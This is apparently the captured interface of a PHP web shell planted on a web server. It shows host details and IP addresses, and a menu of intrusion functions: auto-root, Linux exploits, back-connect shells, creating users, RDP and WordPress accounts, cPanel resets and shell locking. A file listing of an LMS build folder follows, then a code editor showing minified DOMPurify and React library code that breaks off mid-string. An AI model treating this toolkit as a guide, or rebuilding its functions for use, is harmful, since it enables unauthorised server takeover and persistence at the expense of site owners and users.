Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
edu-lms /
build /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
1.75
KB
-rw-r--r--
0e6b58ac5d805dfcd66f61e447b7dd...
17.73
KB
-rw-r--r--
0f9d1f74777600d15191f64c71380f...
39.69
KB
-rw-r--r--
0fe9428559f3518bb8d4917a727d13...
14.54
KB
-rw-r--r--
2aae7c212ce9c344ede6369768d4bc...
164.23
KB
-rw-r--r--
3a5706fab1c11ad6dfdc7d0fc33cc2...
78.6
KB
-rw-r--r--
4009e71782c2fd408c472992660d3e...
614.51
KB
-rw-r--r--
4163c5ce45679952d5cb6dcf5d74a1...
113.79
KB
-rw-r--r--
5bec59101ab5a5f78c59252c9a87b7...
1.02
MB
-rw-r--r--
6086b966f7072932f0943a9e01ab70...
39.47
KB
-rw-r--r--
70257b1d0ff04d70da6c3fd1f0cedf...
113.55
KB
-rw-r--r--
9ef50a04ef2ee9703d694b2244abd9...
61.01
KB
-rw-r--r--
ab820b7de48566829c5e4c1d0d9993...
610.12
KB
-rw-r--r--
app.c9e593a1a66e32197472.chunk...
236.41
KB
-rw-r--r--
app.c9e593a1a66e32197472.chunk...
54.66
KB
-rw-r--r--
b97ac5f935e23fc1816faed5cfcc82...
73.17
KB
-rw-r--r--
b9df8fe0faf79eb4f60bf3c42f2ba2...
62.64
KB
-rw-r--r--
bff7a8a8361fcd91c27edd26ccfe11...
10.04
KB
-rw-r--r--
createtorrent.478f142612300221...
26.58
KB
-rw-r--r--
createtorrent.478f142612300221...
9.1
KB
-rw-r--r--
createtorrent.a864e6f20dc42078...
26.58
KB
-rw-r--r--
createtorrent.a864e6f20dc42078...
9.1
KB
-rw-r--r--
d2c8b126d305ba3ef5604cea2d9663...
164.45
KB
-rw-r--r--
d3d070c219ac57dafb23b27c275185...
138.09
KB
-rw-r--r--
e077aec0fe528553fad4622baf20c2...
17.34
KB
-rw-r--r--
icon_120x120.4a47d7236ee3f58bd...
10.97
KB
-rw-r--r--
icon_128x128.e3619b73f4f124b10...
10.73
KB
-rw-r--r--
icon_144x144.66bb03626ef3babf3...
13.26
KB
-rw-r--r--
icon_152x152.0e91f7d9e7774c1c7...
14.24
KB
-rw-r--r--
icon_167x167.11b44f4141f8164ec...
15.82
KB
-rw-r--r--
icon_180x180.5b97c341ee9de4d82...
17.38
KB
-rw-r--r--
icon_192x192.e345f6ce5dbeb8d81...
18.42
KB
-rw-r--r--
icon_384x384.437d6f587a2e0e85a...
40.24
KB
-rw-r--r--
icon_512x512.9c42ace8ecee1b743...
43.25
KB
-rw-r--r--
icon_72x72.97cc1800bb263ba9590...
6.04
KB
-rw-r--r--
icon_96x96.2cf28a2d5ae757e9ea5...
8.45
KB
-rw-r--r--
index.html
3.32
KB
-rw-r--r--
main.e3ef3e0a69b68adfb422.chun...
3.41
MB
-rw-r--r--
main.e3ef3e0a69b68adfb422.chun...
896.78
KB
-rw-r--r--
main.fd2f235e6e4e0fe0d8c7.chun...
3.4
MB
-rw-r--r--
main.fd2f235e6e4e0fe0d8c7.chun...
895.11
KB
-rw-r--r--
manifest.d9e4137469b6f4bd6c7de...
1.67
KB
-rw-r--r--
npm.babel.012a991506c08bacc228...
13.73
KB
-rw-r--r--
npm.babel.012a991506c08bacc228...
3.08
KB
-rw-r--r--
npm.babel.b1c9fcc25bed77917f53...
13.53
KB
-rw-r--r--
npm.babel.b1c9fcc25bed77917f53...
3.04
KB
-rw-r--r--
npm.bencode.a45a29ceba7954e860...
4.87
KB
-rw-r--r--
npm.block-stream2.ee09ac4e49f5...
1.05
KB
-rw-r--r--
npm.core-js.145fa48e48846498bd...
166.28
KB
-rw-r--r--
npm.core-js.145fa48e48846498bd...
54.36
KB
-rw-r--r--
npm.date-fns.338951b260be65b10...
64.17
KB
-rw-r--r--
npm.date-fns.338951b260be65b10...
13.11
KB
-rw-r--r--
npm.engine.io-client.b2820db86...
24.95
KB
-rw-r--r--
npm.engine.io-client.b2820db86...
7.21
KB
-rw-r--r--
npm.engine.io-parser.7f1a93612...
7.01
KB
-rw-r--r--
npm.file-saver.1a71431fff472bf...
2.66
KB
-rw-r--r--
npm.lodash-es.4888c5def4e70081...
11.61
KB
-rw-r--r--
npm.lodash-es.4888c5def4e70081...
4.06
KB
-rw-r--r--
npm.marked.ad77b77ac51a5265ae8...
25.4
KB
-rw-r--r--
npm.marked.ad77b77ac51a5265ae8...
8.42
KB
-rw-r--r--
npm.material-ui.1fb219931b719d...
251.78
KB
-rw-r--r--
npm.material-ui.1fb219931b719d...
73.58
KB
-rw-r--r--
npm.moment.c4f981be2a9031d2c25...
294.79
KB
-rw-r--r--
npm.moment.c4f981be2a9031d2c25...
77.78
KB
-rw-r--r--
npm.node-libs-browser.5dd8898a...
2.62
KB
-rw-r--r--
npm.react-bootstrap.1f8dcbd4e8...
69.93
KB
-rw-r--r--
npm.react-bootstrap.1f8dcbd4e8...
20.89
KB
-rw-r--r--
npm.react-pdf.2b5dbf904051168b...
1.11
MB
-rw-r--r--
npm.react-pdf.2b5dbf904051168b...
315.3
KB
-rw-r--r--
npm.react-wakelock-react16.91e...
14.87
KB
-rw-r--r--
npm.react-wakelock-react16.91e...
6.25
KB
-rw-r--r--
npm.readable-stream.b9c4782ba8...
34.62
KB
-rw-r--r--
npm.readable-stream.b9c4782ba8...
10.08
KB
-rw-r--r--
npm.riek.5d3639b787432228465b....
22.23
KB
-rw-r--r--
npm.riek.5d3639b787432228465b....
5.07
KB
-rw-r--r--
npm.simple-sha1.1fbe375c3e861c...
1.19
KB
-rw-r--r--
npm.socket.io-client.400ed389c...
11.85
KB
-rw-r--r--
npm.socket.io-client.400ed389c...
3.72
KB
-rw-r--r--
npm.socket.io-parser.b17e166cd...
4.68
KB
-rw-r--r--
runtime.61277ca2b415fb460f2f.j...
3.28
KB
-rw-r--r--
runtime.7551ecd3e5a95ed84b27.j...
3.28
KB
-rw-r--r--
screensharing.df972e4eb57984ee...
4.37
KB
-rw-r--r--
socket.io.84f97a4948f8671a5eac...
7.69
KB
-rw-r--r--
socket.io.9f66b64b35f04407b287...
7.69
KB
-rw-r--r--
spotlights.06563f9d8c12fef3245...
6.2
KB
-rw-r--r--
sw.js
15.01
KB
-rw-r--r--
sw.js.gz
5.7
KB
-rw-r--r--
webtorrent.437bf7f2fc8a4de8ce3...
818.75
KB
-rw-r--r--
webtorrent.437bf7f2fc8a4de8ce3...
248.76
KB
-rw-r--r--
webtorrent.eb77e0c77901bbddc54...
820.16
KB
-rw-r--r--
webtorrent.eb77e0c77901bbddc54...
249.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : app.c9e593a1a66e32197472.chunk.js
(window.webpackJsonp=window.webpackJsonp||[]).push([[6],{"01b038624dd1bb711292":function(e,t,n){ /*! @license DOMPurify 2.3.0 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/2.3.0/LICENSE */ e.exports=function(){"use strict";var e=Object.hasOwnProperty,t=Object.setPrototypeOf,n=Object.isFrozen,r=Object.getPrototypeOf,o=Object.getOwnPropertyDescriptor,a=Object.freeze,i=Object.seal,l=Object.create,s="undefined"!=typeof Reflect&&Reflect,c=s.apply,u=s.construct;c||(c=function(e,t,n){return e.apply(t,n)}),a||(a=function(e){return e}),i||(i=function(e){return e}),u||(u=function(e,t){return new(Function.prototype.bind.apply(e,[null].concat(function(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}(t))))});var d,f=O(Array.prototype.forEach),p=O(Array.prototype.pop),m=O(Array.prototype.push),h=O(String.prototype.toLowerCase),v=O(String.prototype.match),g=O(String.prototype.replace),b=O(String.prototype.indexOf),y=O(String.prototype.trim),w=O(RegExp.prototype.test),S=(d=TypeError,function(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return u(d,t)});function O(e){return function(t){for(var n=arguments.length,r=Array(n>1?n-1:0),o=1;o<n;o++)r[o-1]=arguments[o];return c(e,t,r)}}function M(e,r){t&&t(e,null);for(var o=r.length;o--;){var a=r[o];if("string"==typeof a){var i=h(a);i!==a&&(n(r)||(r[o]=i),a=i)}e[a]=!0}return e}function C(t){var n=l(null),r=void 0;for(r in t)c(e,t,[r])&&(n[r]=t[r]);return n}function k(e,t){for(;null!==e;){var n=o(e,t);if(n){if(n.get)return O(n.get);if("function"==typeof n.value)return O(n.value)}e=r(e)}return function(e){return console.warn("fallback value for",e),null}}var P=a(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),x=a(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),A=a(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),E=a(["animate","color-profile","cursor","discard","fedropshadow","feimage","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),T=a(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover"]),j=a(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),_=a(["#text"]),N=a(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","xmlns","slot"]),I=a(["accent-height","accumulate","additive","alignment-baseline","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","targetx","targety","transform","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),R=a(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),L=a(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),D=i(/\{\{[\s\S]*|[\s\S]*\}\}/gm),F=i(/<%[\s\S]*|[\s\S]*%>/gm),B=i(/^data-[\-\w.\u00B7-\uFFFF]/),V=i(/^aria-[\-\w]+$/),U=i(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),H=i(/^(?:\w+script|data):/i),z=i(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),W="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};function $(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}var q=function(){return"undefined"==typeof window?null:window},Y=function(e,t){if("object"!==(void 0===e?"undefined":W(e))||"function"!=typeof e.createPolicy)return null;var n=null;t.currentScript&&t.currentScript.hasAttribute("data-tt-policy-suffix")&&(n=t.currentScript.getAttribute("data-tt-policy-suffix"));var r="dompurify"+(n?"#"+n:"");try{return e.createPolicy(r,{createHTML:function(e){return e}})}catch(e){return console.warn("TrustedTypes policy "+r+" could not be created."),null}};return function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:q(),n=function(t){return e(t)};if(n.version="2.3.0",n.removed=[],!t||!t.document||9!==t.document.nodeType)return n.isSupported=!1,n;var r=t.document,o=t.document,i=t.DocumentFragment,l=t.HTMLTemplateElement,s=t.Node,c=t.Element,u=t.NodeFilter,d=t.NamedNodeMap,O=void 0===d?t.NamedNodeMap||t.MozNamedAttrMap:d,G=t.Text,K=t.Comment,X=t.DOMParser,J=t.trustedTypes,Q=c.prototype,Z=k(Q,"cloneNode"),ee=k(Q,"nextSibling"),te=k(Q,"childNodes"),ne=k(Q,"parentNode");if("function"==typeof l){var re=o.createElement("template");re.content&&re.content.ownerDocument&&(o=re.content.ownerDocument)}var oe=Y(J,r),ae=oe&&De?oe.createHTML(""):"",ie=o,le=ie.implementation,se=ie.createNodeIterator,ce=ie.createDocumentFragment,ue=ie.getElementsByTagName,de=r.importNode,fe={};try{fe=C(o).documentMode?o.documentMode:{}}catch(e){}var pe={};n.isSupported="function"==typeof ne&&le&&void 0!==le.createHTMLDocument&&9!==fe;var me=D,he=F,ve=B,ge=V,be=H,ye=z,we=U,Se=null,Oe=M({},[].concat($(P),$(x),$(A),$(T),$(_))),Me=null,Ce=M({},[].concat($(N),$(I),$(R),$(L))),ke=null,Pe=null,xe=!0,Ae=!0,Ee=!1,Te=!1,je=!1,_e=!1,Ne=!1,Ie=!1,Re=!1,Le=!0,De=!1,Fe=!0,Be=!0,Ve=!1,Ue={},He=M({},["annotation-xml","audio","colgroup","desc","foreignobject","head","iframe","math","mi","mn","mo","ms","mtext","noembed","noframes","noscript","plaintext","script","style","svg","template","thead","title","video","xmp"]),ze=null,We=M({},["audio","video","img","source","image","track"]),$e=null,qe=M({},["alt","class","for","id","label","name","pattern","placeholder","summary","title","value","style","xmlns"]),Ye="http://www.w3.org/1998/Math/MathML",Ge="http://www.w3.org/2000/svg",Ke="http://www.w3.org/1999/xhtml",Xe=Ke,Je=!1,Qe=null,Ze=o.createElement("form"),et=function(e){Qe&&Qe===e||(e&&"object"===(void 0===e?"undefined":W(e))||(e={}),e=C(e),Se="ALLOWED_TAGS"in e?M({},e.ALLOWED_TAGS):Oe,Me="ALLOWED_ATTR"in e?M({},e.ALLOWED_ATTR):Ce,$e="ADD_URI_SAFE_ATTR"in e?M(C(qe),e.ADD_URI_SAFE_ATTR):qe,ze="ADD_DATA_URI_TAGS"in e?M(C(We),e.ADD_DATA_URI_TAGS):We,ke="FORBID_TAGS"in e?M({},e.FORBID_TAGS):{},Pe="FORBID_ATTR"in e?M({},e.FORBID_ATTR):{},Ue="USE_PROFILES"in e&&e.USE_PROFILES,xe=!1!==e.ALLOW_ARIA_ATTR,Ae=!1!==e.ALLOW_DATA_ATTR,Ee=e.ALLOW_UNKNOWN_PROTOCOLS||!1,Te=e.SAFE_FOR_TEMPLATES||!1,je=e.WHOLE_DOCUMENT||!1,Ie=e.RETURN_DOM||!1,Re=e.RETURN_DOM_FRAGMENT||!1,Le=!1!==e.RETURN_DOM_IMPORT,De=e.RETURN_TRUSTED_TYPE||!1,Ne=e.FORCE_BODY||!1,Fe=!1!==e.SANITIZE_DOM,Be=!1!==e.KEEP_CONTENT,Ve=e.IN_PLACE||!1,we=e.ALLOWED_URI_REGEXP||we,Xe=e.NAMESPACE||Ke,Te&&(Ae=!1),Re&&(Ie=!0),Ue&&(Se=M({},[].concat($(_))),Me=[],!0===Ue.html&&(M(Se,P),M(Me,N)),!0===Ue.svg&&(M(Se,x),M(Me,I),M(Me,L)),!0===Ue.svgFilters&&(M(Se,A),M(Me,I),M(Me,L)),!0===Ue.mathMl&&(M(Se,T),M(Me,R),M(Me,L))),e.ADD_TAGS&&(Se===Oe&&(Se=C(Se)),M(Se,e.ADD_TAGS)),e.ADD_ATTR&&(Me===Ce&&(Me=C(Me)),M(Me,e.ADD_ATTR)),e.ADD_URI_SAFE_ATTR&&M($e,e.ADD_URI_SAFE_ATTR),Be&&(Se["#text"]=!0),je&&M(Se,["html","head","body"]),Se.table&&(M(Se,["tbody"]),delete ke.tbody),a&&a(e),Qe=e)},tt=M({},["mi","mo","mn","ms","mtext"]),nt=M({},["foreignobject","desc","title","annotation-xml"]),rt=M({},x);M(rt,A),M(rt,E);var ot=M({},T);M(ot,j);var at=function(e){var t=ne(e);t&&t.tagName||(t={namespaceURI:Ke,tagName:"template"});var n=h(e.tagName),r=h(t.tagName);if(e.namespaceURI===Ge)return t.namespaceURI===Ke?"svg"===n:t.namespaceURI===Ye?"svg"===n&&("annotation-xml"===r||tt[r]):Boolean(rt[n]);if(e.namespaceURI===Ye)return t.namespaceURI===Ke?"math"===n:t.namespaceURI===Ge?"math"===n&&nt[r]:Boolean(ot[n]);if(e.namespaceURI===Ke){if(t.namespaceURI===Ge&&!nt[r])return!1;if(t.namespaceURI===Ye&&!tt[r])return!1;var o=M({},["title","style","font","a","script"]);return!ot[n]&&(o[n]||!rt[n])}return!1},it=function(e){m(n.removed,{element:e});try{e.parentNode.removeChild(e)}catch(t){try{e.outerHTML=ae}catch(t){e.remove()}}},lt=function(e,t){try{m(n.removed,{attribute:t.getAttributeNode(e),from:t})}catch(e){m(n.removed,{attribute:null,from:t})}if(t.removeAttribute(e),"is"===e&&!Me[e])if(Ie||Re)try{it(t)}catch(e){}else try{t.setAttribute(e,"")}catch(e){}},st=function(e){var t=void 0,n=void 0;if(Ne)e="<remove></remove>"+e;else{var r=v(e,/^[\r\n\t ]+/);n=r&&r[0]}var a=oe?oe.createHTML(e):e;if(Xe===Ke)try{t=(new X).parseFromString(a,"text/html")}catch(e){}if(!t||!t.documentElement){t=le.createDocument(Xe,"template",null);try{t.documentElement.innerHTML=Je?"":a}catch(e){}}var i=t.body||t.documentElement;return e&&n&&i.insertBefore(o.createTextNode(n),i.childNodes[0]||null),Xe===Ke?ue.call(t,je?"html":"body")[0]:je?t.documentElement:i},ct=function(e){return se.call(e.ownerDocument||e,e,u.SHOW_ELEMENT|u.SHOW_COMMENT|u.SHOW_TEXT,null,!1)},ut=function(e){return!(e instanceof G||e instanceof K||"string"==typeof e.nodeName&&"string"==typeof e.textContent&&"function"==typeof e.removeChild&&e.attributes instanceof O&&"function"==typeof e.removeAttribute&&"function"==typeof e.setAttribute&&"string"==typeof e.namespaceURI&&"function"==typeof e.insertBefore)},dt=function(e){return"object"===(void 0===s?"undefined":W(s))?e instanceof s:e&&"object"===(void 0===e?"undefined":W(e))&&"number"==typeof e.nodeType&&"string"==typeof e.nodeName},ft=function(e,t,r){pe[e]&&f(pe[e],(function(e){e.call(n,t,r,Qe)}))},pt=function(e){var t=void 0;if(ft("beforeSanitizeElements",e,null),ut(e))return it(e),!0;if(v(e.nodeName,/[\u0080-\uFFFF]/))return it(e),!0;var r=h(e.nodeName);if(ft("uponSanitizeElement",e,{tagName:r,allowedTags:Se}),!dt(e.firstElementChild)&&(!dt(e.content)||!dt(e.content.firstElementChild))&&w(/<[/\w]/g,e.innerHTML)&&w(/<[/\w]/g,e.textContent))return it(e),!0;if(!Se[r]||ke[r]){if(Be&&!He[r]){var o=ne(e)||e.parentNode,a=te(e)||e.childNodes;if(a&&o)for(var i=a.length-1;i>=0;--i)o.insertBefore(Z(a[i],!0),ee(e))}return it(e),!0}return e instanceof c&&!at(e)?(it(e),!0):"noscript"!==r&&"noembed"!==r||!w(/<\/no(script|embed)/i,e.innerHTML)?(Te&&3===e.nodeType&&(t=e.textContent,t=g(t,me," "),t=g(t,he," "),e.textContent!==t&&(m(n.removed,{element:e.cloneNode()}),e.textContent=t)),ft("afterSanitizeElements",e,null),!1):(it(e),!0)},mt=function(e,t,n){if(Fe&&("id"===t||"name"===t)&&(n in o||n in Ze))return!1;if(Ae&&!Pe[t]&&w(ve,t));else if(xe&&w(ge,t));else{if(!Me[t]||Pe[t])return!1;if($e[t]);else if(w(we,g(n,ye,"")));else if("src"!==t&&"xlink:href"!==t&&"href"!==t||"script"===e||0!==b(n,"data:")||!ze[e])if(Ee&&!w(be,g(n,ye,"")));else if(n)return!1}return!0},ht=function(e){var t=void 0,r=void 0,o=void 0,a=void 0;ft("beforeSanitizeAttributes",e,null);var i=e.attributes;if(i){var l={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:Me};for(a=i.length;a--;){var s=t=i[a],c=s.name,u=s.namespaceURI;if(r=y(t.value),o=h(c),l.attrName=o,l.attrValue=r,l.keepAttr=!0,l.forceKeepAttr=void 0,ft("uponSanitizeAttribute",e,l),r=l.attrValue,!l.forceKeepAttr&&(lt(c,e),l.keepAttr))if(w(/\/>/i,r))lt(c,e);else{Te&&(r=g(r,me," "),r=g(r,he," "));var d=e.nodeName.toLowerCase();if(mt(d,o,r))try{u?e.setAttributeNS(u,c,r):e.setAttribute(c,r),p(n.removed)}catch(e){}}}ft("afterSanitizeAttributes",e,null)}},vt=function e(t){var n=void 0,r=ct(t);for(ft("beforeSanitizeShadowDOM",t,null);n=r.nextNode();)ft("uponSanitizeShadowNode",n,null),pt(n)||(n.content instanceof i&&e(n.content),ht(n));ft("afterSanitizeShadowDOM",t,null)};return n.sanitize=function(e,o){var a=void 0,l=void 0,c=void 0,u=void 0,d=void 0;if((Je=!e)&&(e="\x3c!--\x3e"),"string"!=typeof e&&!dt(e)){if("function"!=typeof e.toString)throw S("toString is not a function");if("string"!=typeof(e=e.toString()))throw S("dirty is not a string, aborting")}if(!n.isSupported){if("object"===W(t.toStaticHTML)||"function"==typeof t.toStaticHTML){if("string"==typeof e)return t.toStaticHTML(e);if(dt(e))return t.toStaticHTML(e.outerHTML)}return e}if(_e||et(o),n.removed=[],"string"==typeof e&&(Ve=!1),Ve);else if(e instanceof s)1===(l=(a=st("\x3c!----\x3e")).ownerDocument.importNode(e,!0)).nodeType&&"BODY"===l.nodeName||"HTML"===l.nodeName?a=l:a.appendChild(l);else{if(!Ie&&!Te&&!je&&-1===e.indexOf("<"))return oe&&De?oe.createHTML(e):e;if(!(a=st(e)))return Ie?null:ae}a&&Ne&&it(a.firstChild);for(var f=ct(Ve?e:a);c=f.nextNode();)3===c.nodeType&&c===u||pt(c)||(c.content instanceof i&&vt(c.content),ht(c),u=c);if(u=null,Ve)return e;if(Ie){if(Re)for(d=ce.call(a.ownerDocument);a.firstChild;)d.appendChild(a.firstChild);else d=a;return Le&&(d=de.call(r,d,!0)),d}var p=je?a.outerHTML:a.innerHTML;return Te&&(p=g(p,me," "),p=g(p,he," ")),oe&&De?oe.createHTML(p):p},n.setConfig=function(e){et(e),_e=!0},n.clearConfig=function(){Qe=null,_e=!1},n.isValidAttribute=function(e,t,n){Qe||et({});var r=h(e),o=h(t);return mt(r,o,n)},n.addHook=function(e,t){"function"==typeof t&&(pe[e]=pe[e]||[],m(pe[e],t))},n.removeHook=function(e){pe[e]&&p(pe[e])},n.removeHooks=function(e){pe[e]&&(pe[e]=[])},n.removeAllHooks=function(){pe={}},n}()}()},"11c375811d2cabbba50b":function(e,t,n){"use strict";var r=n("83406643bfb209d249f4"),o={};function a(e,t,n,r,o,a,i,l){if(!e){var s;if(void 0===t)s=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,r,o,a,i,l],u=0;(s=new Error(t.replace(/%s/g,(function(){return c[u++]})))).name="Invariant Violation"}throw s.framesToPop=1,s}}e.exports=function(e,t,n){var i=[],l={mixins:"DEFINE_MANY",statics:"DEFINE_MANY",propTypes:"DEFINE_MANY",contextTypes:"DEFINE_MANY",childContextTypes:"DEFINE_MANY",getDefaultProps:"DEFINE_MANY_MERGED",getInitialState:"DEFINE_MANY_MERGED",getChildContext:"DEFINE_MANY_MERGED",render:"DEFINE_ONCE",componentWillMount:"DEFINE_MANY",componentDidMount:"DEFINE_MANY",componentWillReceiveProps:"DEFINE_MANY",shouldComponentUpdate:"DEFINE_ONCE",componentWillUpdate:"DEFINE_MANY",componentDidUpdate:"DEFINE_MANY",componentWillUnmount:"DEFINE_MANY",UNSAFE_componentWillMount:"DEFINE_MANY",UNSAFE_componentWillReceiveProps:"DEFINE_MANY",UNSAFE_componentWillUpdate:"DEFINE_MANY",updateComponent:"OVERRIDE_BASE"},s={getDerivedStateFromProps:"DEFINE_MANY_MERGED"},c={displayName:function(e,t){e.displayName=t},mixins:function(e,t){if(t)for(var n=0;n<t.length;n++)d(e,t[n])},childContextTypes:function(e,t){e.childContextTypes=r({},e.childContextTypes,t)},contextTypes:function(e,t){e.contextTypes=r({},e.contextTypes,t)},getDefaultProps:function(e,t){e.getDefaultProps?e.getDefaultProps=p(e.getDefaultProps,t):e.getDefaultProps=t},propTypes:function(e,t){e.propTypes=r({},e.propTypes,t)},statics:function(e,t){!function(e,t){if(!t)return;for(var n in t){var r=t[n];if(t.hasOwnProperty(n)){if(a(!(n in c),'ReactClass: You are attempting to define a reserved property, `%s`, that shouldn\'t be on the "statics" key. Define it as an instance property instead; it will still be accessible on the constructor.',n),n in e)return a("DEFINE_MANY_MERGED"===(s.hasOwnProperty(n)?s[n]:null),"ReactClass: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.",n),void(e[n]=p(e[n],r));e[n]=r}}}(e,t)},autobind:function(){}};function u(e,t){var n=l.hasOwnProperty(t)?l[t]:null;b.hasOwnProperty(t)&&a("OVERRIDE_BASE"===n,"ReactClassInterface: You are attempting to override `%s` from your class specification. Ensure that your method names do not overlap with React methods.",t),e&&a("DEFINE_MANY"===n||"DEFINE_MANY_MERGED"===n,"ReactClassInterface: You are attempting to define `%s` on your component more than once. This conflict may be due to a mixin.",t)}function d(e,n){if(n){a("function"!=typeof n,"ReactClass: You're attempting to use a component class or function as a mixin. Instead, just use a regular object."),a(!t(n),"ReactClass: You're attempting to use a component as a mixin. Instead, just use a regular object.");var r=e.prototype,o=r.__reactAutoBindPairs;for(var i in n.hasOwnProperty("mixins")&&c.mixins(e,n.mixins),n)if(n.hasOwnProperty(i)&&"mixins"!==i){var s=n[i],d=r.hasOwnProperty(i);if(u(d,i),c.hasOwnProperty(i))c[i](e,s);else{var f=l.hasOwnProperty(i);if("function"==typeof s&&!f&&!d&&!1!==n.autobind)o.push(i,s),r[i]=s;else if(d){var h=l[i];a(f&&("DEFINE_MANY_MERGED"===h||"DEFINE_MANY"===h),"ReactClass: Unexpected spec policy %s for key %s when mixing in component 